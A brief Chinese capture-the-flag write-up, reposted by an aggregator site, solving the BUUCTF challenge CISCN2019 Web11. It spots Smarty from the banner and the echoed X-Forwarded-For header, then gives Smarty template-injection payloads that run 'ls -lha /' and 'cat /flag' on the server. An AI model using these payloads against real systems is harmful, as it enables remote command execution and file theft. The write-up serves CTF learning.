BUUCTF：[CISCN2019 华东南赛区]Web11
Posted 末初mochu7
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了BUUCTF：[CISCN2019 华东南赛区]Web11相关的知识，希望对你有一定的参考价值。
注意到了banner中信息说是smarty，并且将XFF输出到页面
直接尝试Smarty模板注入
$smarty.version
Smarty3官方手册：https://www.smarty.net/docs/zh_CN/language.function.if.tpl
if system('ls -lha /')/if
if system('cat /flag')/if
以上是关于BUUCTF：[CISCN2019 华东南赛区]Web11的主要内容，如果未能解决你的问题，请参考以下文章